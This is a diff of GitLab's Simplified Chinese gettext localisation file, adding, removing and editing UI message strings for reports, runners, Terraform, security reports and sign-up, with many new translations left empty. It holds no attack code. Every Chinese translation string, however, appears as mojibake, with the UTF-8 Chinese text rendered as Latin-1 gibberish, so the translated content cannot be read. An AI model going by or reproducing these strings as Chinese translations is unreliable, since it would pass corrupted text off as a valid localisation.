msgstr "删除该群组åŒæ—¶ä¼šåˆ é™¤æ‰€æœ‰å­é¡¹ç›®ï¼ŒåŒ…括已归档项目åŠå…¶ç›¸å…³èµ„æºã€‚"
@@ -22267,15 +22770,12 @@ msgstr "é‡å‘½å/移动"
msgid "Reopen"
msgstr "é‡æ–°æ‰“å¼€"
-msgid "Reopen %{display_issuable_type}"
-msgstr "é‡æ–°å¼€å¯%{display_issuable_type}"
+msgid "Reopen %{issueType}"
+msgstr ""
msgid "Reopen epic"
msgstr "é‡æ–°å¼€å¯å²è¯—"
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr "é‡æ–°æ‰“开里程碑"
@@ -22354,6 +22854,13 @@ msgstr "报告"
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr "%{combinedString}åŠ%{resolvedString}"
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] "æ— éšœç¢æ€§æ‰«æ检测到%d个仅存在于æºåˆ†æ”¯çš„问题"
@@ -22385,6 +22892,10 @@ msgstr "ç±»å"
msgid "Reports|Execution time"
msgstr "执行时间"
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr "失败"
@@ -22436,6 +22947,9 @@ msgstr "仓库"
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr "仓库"
@@ -22499,6 +23019,9 @@ msgstr "仓库清ç†"
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr "仓库清ç†å·²ç»å¼€å§‹ã€‚一旦清ç†å®Œæˆï¼Œæ‚¨å°†æ”¶åˆ°ä¸€å°ç”µå­é‚®ä»¶ã€‚"
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr "仓库文件数超过é™åˆ¶"
@@ -22532,11 +23055,11 @@ msgstr "仓库é™æ€å¯¹è±¡"
msgid "Repository storage"
msgstr "仓库存储"
-msgid "Repository sync capacity"
-msgstr "仓库åŒæ­¥èƒ½åŠ›"
+msgid "Repository synchronization concurrency limit"
+msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
-msgstr "仓库: %{counter_repositories} /Wikis: %{counter_wikis} /构建产物: %{counter_build_artifacts} /LFS: %{counter_lfs_objects} /代ç ç‰‡æ®µ: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "选择"
@@ -22651,12 +23174,18 @@ msgstr "é‡æ–°å‘é€é‚€è¯·"
msgid "Resend it"
msgstr "é‡æ–°å‘é€"
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr "é‡ç½®æŽˆæƒå¯†é’¥"
msgid "Reset authorization key?"
msgstr "é‡ç½®æŽˆæƒå¯†é’¥ï¼Ÿ"
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr "é‡ç½®è¿è¡ŒçŠ¶å†µæ£€æŸ¥è®¿é—®ä»¤ç‰Œ"
@@ -22783,6 +23312,9 @@ msgstr "é‡æ–°åŒæ­¥æ‰€æœ‰%{replicableType}"
msgid "Retry"
msgstr "é‡è¯•"
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr "é‡è¯•å½“å‰ä½œä¸š"
@@ -22820,6 +23352,9 @@ msgstr "查看最新应用"
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr "查看在您的身份验è¯æ供商中é…ç½®æœåŠ¡æ供商的æµç¨‹ - 在这里,GitLab是“æœåŠ¡æ供商â€æˆ–“ä¾èµ–æ–¹â€ã€‚"
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr "审阅中"
@@ -22908,6 +23446,9 @@ msgstr "è¿è¡Œæœªæ ‡è®°çš„作业"
msgid "Runner cannot be assigned to other projects"
msgstr "无法将Runner分é…给其他项目"
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr "Runnerå°†è¿è¡Œæ‰€æœ‰æœªæŒ‡å®šçš„项目的作业"
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr "ä¿å­˜ä¿®æ”¹"
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr "ä»ç„¶ä¿å­˜"
-
msgid "Save application"
msgstr "ä¿å­˜åº”用"
@@ -23133,8 +23659,8 @@ msgstr "ä¿å­˜å¯†ç "
msgid "Save pipeline schedule"
msgstr "ä¿å­˜æµæ°´çº¿è®¡åˆ’"
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
-msgstr "节çœç©ºé—´å¹¶æ›´ä½¿å¾—在容器注册表中查找标签更容易。 å¯ç”¨æ¸…ç†ç­–ç•¥æ¥åˆ é™¤è¿‡æ—¶çš„标签,åªä¿ç•™æ‚¨éœ€è¦çš„标签。"
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
+msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
msgstr ""
@@ -23190,15 +23716,9 @@ msgstr "范围ä¸èƒ½ä¸ºç©º"
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr "å‘下滚动"
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr "å‘下滚动到%{strong_open}Google Code Project Hosting%{strong_close}并通过å³ä¾§çš„开关å¯ç”¨ã€‚"
-
msgid "Scroll left"
msgstr "å‘左滚动"
@@ -23301,6 +23821,9 @@ msgstr "æœç´¢é¡¹ç›®"
msgid "Search projects..."
msgstr "æœç´¢é¡¹ç›®..."
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr "æœç´¢éœ€æ±‚"
@@ -23340,9 +23863,6 @@ msgstr "在群组%{groupName}中"
msgid "SearchAutocomplete|in project %{projectName}"
msgstr "在项目%{projectName}中"
-msgid "SearchCodeResults|in"
-msgstr "于"
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr "于%{link_to_project}项目中"
@@ -23411,6 +23931,9 @@ msgstr "座ä½é“¾æŽ¥"
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr "座ä½é“¾æŽ¥å·²ç¦ç”¨ï¼Œæ— æ³•é€šè¿‡æ­¤è¡¨å•è¿›è¡Œé…置。"
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr "误报"
msgid "SecurityReports|Fuzzing artifacts"
msgstr "Fuzzing产物"
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr "éšè—已忽略项"
@@ -23760,6 +24286,12 @@ msgstr "查看指标"
msgid "See the affected projects in the GitLab admin panel"
msgstr "查看 GitLab 管ç†é¢æ¿ä¸­çš„å—å½±å“项目"
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr "查看GitLab的新功能"
@@ -23877,9 +24409,6 @@ msgstr "按项目选择地域"
msgid "Select projects"
msgstr "选择项目"
-msgid "Select projects you want to import."
-msgstr "选择è¦å¯¼å…¥çš„项目。"
-
msgid "Select required regulatory standard"
msgstr "选择所需的法规标准"
@@ -24222,12 +24751,6 @@ msgstr "设置群组æ¯ä¸ªæœˆå¯åœ¨å…±äº«Runner上使用的最大æµæ°´çº¿åˆ†é’Ÿ
msgid "Set the milestone to %{milestone_reference}."
msgstr "将里程碑设置为%{milestone_reference}。"
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr "设置此次è¦èŠ‚点在回填时å‘主节点æ出的并行请求数é‡ã€‚"
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr "设置次è¦èŠ‚点的åŒæ­¥å’ŒéªŒè¯å®¹é‡ã€‚"
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr "设置å‘主节点å‘é€æ¬¡è¦èŠ‚点状æ€å’Œå…许次è¦èŠ‚点的IP的超时时间(秒)。"
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "设置项目以自动推é€å’Œ/或从å¦ä¸€ä¸ªä»“库中æå–更改。分支,标签和æ交将自动åŒæ­¥ã€‚"
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr "设置æƒé‡"
msgid "Set weight to %{weight}."
msgstr "å°†æƒé‡è®¾ç½®ä¸º%{weight}。"
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
-msgstr "通过次è¦èŠ‚点选择特定项目或组æ¥è®¾ç½®åº”å¤åˆ¶çš„内容。"
+msgid "Set what should be replicated by this secondary node."
+msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "设置密ç "
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr "添加状æ€è¡¨æƒ…"
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr "清除状æ€"
@@ -24303,6 +24835,9 @@ msgstr "设置状æ€"
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr "对ä¸èµ·ï¼Œæˆ‘们无法设置您的状æ€ã€‚请ç¨åŽå†è¯•ã€‚"
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr "您的状æ€æ˜¯ä»€ä¹ˆï¼Ÿ"
@@ -24399,9 +24934,6 @@ msgstr "Sherlock事物"
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr "如果您一旦丢失手机或无法访问一次性密ç å¯†ä¿ï¼Œæ‚¨å¯ä»¥ä½¿ç”¨æ¢å¤ç æ¥é‡æ–°èŽ·å¾—您的å¸æˆ·è®¿é—®æƒé™ã€‚æ¯ä¸ªæ¢å¤ç ä»…å¯ä½¿ç”¨ä¸€æ¬¡ã€‚请将它们ä¿å­˜åœ¨å®‰å…¨çš„地方,å¦åˆ™ä¸¢å¤±åŽä½ %{b_start}å°†%{b_end}无法访问您的å¸æˆ·ã€‚"
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr "显示所有活动"
@@ -24456,14 +24988,17 @@ msgstr "显示最新版本"
msgid "Show list"
msgstr "显示列表"
-msgid "Show me everything"
-msgstr "显示全部"
+msgid "Show me advanced features"
+msgstr ""
msgid "Show me how to add a pipeline"
msgstr "演示如何添加æµæ°´çº¿"
-msgid "Show me more advanced stuff"
-msgstr "展示更高级的内容"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
+msgstr ""
msgid "Show only direct members"
msgstr "åªæ˜¾ç¤ºç›´æŽ¥æˆå‘˜"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] "显示 %d 个事件"
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr "显示%{count}个项目,共计%{total} 个"
@@ -24584,11 +25122,14 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "注册é™åˆ¶"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
-msgstr "å字太长(最多%{max_length}字符)。"
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
-msgstr "姓æ°å¤ªé•¿(最多%{max_length}字符)。"
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
+msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
msgstr "用户å太长(最大为%{max_length}字符)。"
@@ -24638,6 +25179,9 @@ msgstr "跳过已过时的部署作业"
msgid "Skipped"
msgstr "跳过"
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Slack应用"
@@ -24749,9 +25293,6 @@ msgstr "æŸäº›ç”µå­é‚®ä»¶æœåŠ¡å™¨ä¸æ”¯æŒè¦†ç›–电å­é‚®ä»¶çš„å‘件人å称
msgid "Some of the designs you tried uploading did not change:"
msgstr "您å°è¯•ä¸Šä¼ çš„部分设计没有改å˜ã€‚"
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr "您的æŸäº›å²è¯—å¯èƒ½ä¸å¯è§ã€‚路线图仅é™äºŽæ‚¨é€‰å®šæŽ’åºçš„å‰1000å²è¯—。"
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr "其他用户åŒæ—¶ç¼–辑了这个议题。请检查%{linkStart}议题%{linkEnd}并确ä¿æ‚¨çš„更改ä¸ä¼šæ— æ„中移除他们的更改。"
@@ -24797,8 +25338,8 @@ msgstr "应用åŒæ„时出了点问题。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "Something went wrong while archiving a requirement."
msgstr "归档需求时出了错。"
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "关闭 %{issuable} 时出错。请ç¨åŽé‡è¯•"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr "创建需求时出了错。"
@@ -24878,11 +25419,14 @@ msgstr "获å–Let's Encryptè¯ä¹¦æ—¶å‡ºäº†é”™ã€‚"
msgid "Something went wrong while performing the action."
msgstr "执行æ“作时出错。"
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr "é‡æ–°æ‰“开需求时出了错。"
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
-msgstr "é‡æ–°å¼€å¯ %{issuable} 时出错。请ç¨åŽå†è¯•"
+msgid "Something went wrong while reopening the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
msgstr "解决当å‰è®¨è®ºæ—¶å‡ºé”™ï¼Œè¯·é‡è¯•ã€‚"
@@ -25163,11 +25707,11 @@ msgstr "此功能是实验性的,仅é™äºŽå…¬å¼€é¡¹ç›®ã€‚"
msgid "SourcegraphPreferences|This feature is experimental."
msgstr "此功能是实验性的。"
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
-msgstr "使用%{link_start}Sourcegraph.com%{link_end}。"
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
+msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
-msgstr "使用自定义的%{link_start}Sourcegraph实例%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
+msgstr ""
msgid "Spam Logs"
msgstr "垃圾信æ¯æ—¥å¿—"
@@ -25190,6 +25734,9 @@ msgstr "指定电å­é‚®ä»¶åœ°å€æ­£åˆ™è¡¨è¾¾å¼æ¨¡å¼ä»¥æ ‡è¯†é»˜è®¤å†…部用户
msgid "Specify the following URL during the Runner setup:"
msgstr "在 Runner 设置时指定以下 URL:"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr "压缩æ交消æ¯"
@@ -25307,9 +25854,6 @@ msgstr "开始主题并关闭%{noteable_name}"
msgid "Start thread & reopen %{noteable_name}"
msgstr "å¼€å¯ä¸»é¢˜å¹¶é‡æ–°æ‰“å¼€%{noteable_name}"
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr "开始使用有å‘无环图(DAG)"
-
msgid "Start your Free Gold Trial"
msgstr "开始å…费的金牌试用"
@@ -25469,6 +26013,18 @@ msgstr "状æ€é¡µé¢å‰ç«¯"
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr "通过é…ç½®Prometheusæ¥ç›‘控你的部署,了解环境的性能和å¥åº·åº¦çš„最新状æ€ã€‚"
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr "但我们ä»ç„¶å»ºè®®ä¿å­˜ä¸€ä»½å¤‡ä»½å­˜æ¡£ã€‚ å¦åˆ™ï¼Œå¦‚果你å†æ¬¡éœ€è¦å®ƒä½†æ˜¯å·²ä¸¢å¤±ï¼Œä½ å°†éœ€è¦è¯·æ±‚GitLab Inc.å†æ¬¡å°†å®ƒå‘é€ç»™ä½ ã€‚"
@@ -25637,6 +26193,9 @@ msgstr "已使用的最大用户数é‡"
msgid "SubscriptionTable|Next invoice"
msgstr "下一张å‘票"
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr "当å‰æ­£åœ¨ä½¿ç”¨çš„用户数é‡"
@@ -25646,6 +26205,9 @@ msgstr "订阅中的用户数é‡"
msgid "SubscriptionTable|Seats owed"
msgstr "欠款用户数é‡"
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr "订阅结æŸæ—¥æœŸ"
@@ -25694,6 +26256,9 @@ msgstr "å‡åŽ»"
msgid "Succeeded"
msgstr "å·²æˆåŠŸ"
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr "å·²æˆåŠŸæ¿€æ´»"
@@ -25868,6 +26433,9 @@ msgstr "å·²åŒæ­¥"
msgid "Synchronization disabled"
msgstr "åŒæ­¥å·²ç¦ç”¨"
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr "团队域"
msgid "Telephone number"
msgstr "电è¯å·ç "
-msgid "Telephone number (Optional)"
-msgstr "电è¯å·ç (å¯é€‰)"
-
msgid "Template"
msgstr "模æ¿"
@@ -26078,6 +26643,9 @@ msgstr "æœåŠ¡æ¡æ¬¾å议和éšç§æ”¿ç­–"
msgid "Terms of Service and Privacy Policy"
msgstr "æœåŠ¡æ¡æ¬¾å’Œéšç§æ”¿ç­–"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] "%{number}个Terraform报告生æˆå¤±è´¥"
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] "您的æµæ°´çº¿ç”Ÿæˆäº†%{number}个Terraform报告"
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr "Terraform报告生æˆå¤±è´¥ã€‚"
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr "您的æµæ°´çº¿ç”Ÿæˆäº†Terraform报告。"
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr "生æˆæŠ¥å‘Šæ—¶å‘生错误。"
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr "报告资æºæ›´æ”¹: 添加%{addNum}项, 更改%{changeNum}项, 删除%{deleteNum}项"
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr "Terraform报告%{name}生æˆå¤±è´¥ã€‚"
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr "您的æµæ°´çº¿ç”Ÿæˆäº†Terraform报告%{name}。"
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr "测试"
@@ -26123,6 +26715,12 @@ msgstr[0] "测试覆盖率: %d次命中"
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr "ç¡®ä¿é¡¹ç›®æœ‰åˆå¹¶è¯·æ±‚。"
msgid "TestHooks|Ensure the project has notes."
msgstr "ç¡®ä¿é¡¹ç›®æœ‰æ³¨é‡Šã€‚"
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr "ç¡®ä¿wikiå·²å¯ç”¨å¹¶å…·æœ‰é¡µé¢ã€‚"
@@ -26274,9 +26878,6 @@ msgstr "议题跟踪用于管ç†éœ€æ±‚改进或者解决的问题。请注册或
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr "PrometheusæœåŠ¡å™¨ä»¥â€œé”™è¯¯è¯·æ±‚â€å“应。请检查您的查询是å¦æ­£ç¡®ï¼Œå¹¶ä¸”当å‰çš„Prometheus版本支æŒã€‚ %{documentationLink}"
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr "在主节点上定义的URL,次è¦èŠ‚点应使用该URL与其è”系。"
@@ -26286,12 +26887,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "用于连接到Elasticsearchçš„URL。使用逗å·åˆ†éš”的列表æ¥æ”¯æŒç¾¤é›†(例如,“http://localhost:9200, http://localhost:9201â€)。"
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "在需è¦ç›¸äº’ TLS 与外部授æƒæœåŠ¡é€šä¿¡æ—¶ä½¿ç”¨çš„ X509 è¯ä¹¦ã€‚如果ä¿ç•™ä¸ºç©º, 则在访问 HTTPS æ—¶ä»ç„¶éªŒè¯æœåŠ¡å™¨è¯ä¹¦ã€‚"
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr "上述设置应用于所有选定的åˆè§„框架的项目。"
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr "应用程åºå¯ç”¨äºŽå®¢æˆ·ç«¯å¯†é’¥å¯ä»¥ä¿æŒä¿å¯†çš„地方。原生移动应用和å•é¡µåº”用被视为为éžä¿å¯†ã€‚"
@@ -26358,9 +26959,6 @@ msgstr "您输入的域åä¸è¢«å…许。"
msgid "The download link will expire in 24 hours."
msgstr "下载链接将于24å°æ—¶åŽè¿‡æœŸã€‚"
-msgid "The entered user map is not a valid JSON user map."
-msgstr "输入的用户映射ä¸æ˜¯æœ‰æ•ˆçš„JSON用户映射。"
-
msgid "The errors we encountered were:"
msgstr "我们é‡åˆ°çš„错误是:"
@@ -26401,6 +26999,9 @@ msgstr "派生关系已被删除。"
msgid "The form contains the following error:"
msgstr "表å•åŒ…å«ä»¥ä¸‹é”™è¯¯ï¼š"
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr "邀请已é‡æ–°å‘é€ã€‚"
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "议题阶段概述了从创建议题到将议题添加到里程碑或议题看æ¿æ‰€èŠ±è´¹çš„时间。创建第一个议题åŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„.。"
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr "许å¯è¯å¯†é’¥æ— æ•ˆã€‚请确ä¿å®ƒä¸Žæ‚¨ä»ŽGitLab Inc.收到的一致。"
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "上载记录无法找到相应文件的次数"
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr "预å‘布阶段概述了从åˆå¹¶è¯·æ±‚被åˆå¹¶åˆ°éƒ¨ç½²è‡³ç”Ÿäº§çŽ¯å¢ƒ
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr "下表的状æ€ä»…适用于默认分支,并且基于%{linkStart}最新的æµæ°´çº¿%{linkEnd}。为默认分支é…置了扫æåŽï¼Œæ‚¨åˆ›å»ºçš„所有åŽç»­åŠŸèƒ½åˆ†æ”¯éƒ½å°†åŒ…å«è¯¥æ‰«æ。"
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "测试阶段概述了 GitLab CI 为相关åˆå¹¶è¯·æ±‚è¿è¡Œæ¯ä¸ªæµæ°´çº¿æ‰€éœ€çš„时间。当第一个æµæ°´çº¿è¿è¡Œå®ŒæˆåŽï¼Œæ•°æ®å°†è‡ªåŠ¨æ·»åŠ åˆ°æ­¤å¤„。"
@@ -26614,8 +27227,8 @@ msgstr "该阶段æ¯æ¡æ•°æ®æ‰€èŠ±çš„时间"
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "æ›´æ–°æ“作将在 %{number_of_minutes} 分钟åŽè¶…时。对于大型仓库,请使用clone/push组åˆã€‚"
-msgid "The uploaded file is not a valid Google Takeout archive."
-msgstr "上传的文件ä¸æ˜¯æœ‰æ•ˆçš„ Google Takeout 档案。"
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
+msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
msgstr "使用情况检测(usage ping)å·²ç¦ç”¨ï¼Œæ— æ³•é€šè¿‡æ­¤è¡¨å•è¿›è¡Œé…置。"
@@ -26626,9 +27239,6 @@ msgstr "用户正在被删除。"
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr "用户映射已ä¿å­˜ã€‚请选择è¦å¯¼å…¥çš„项目以继续。"
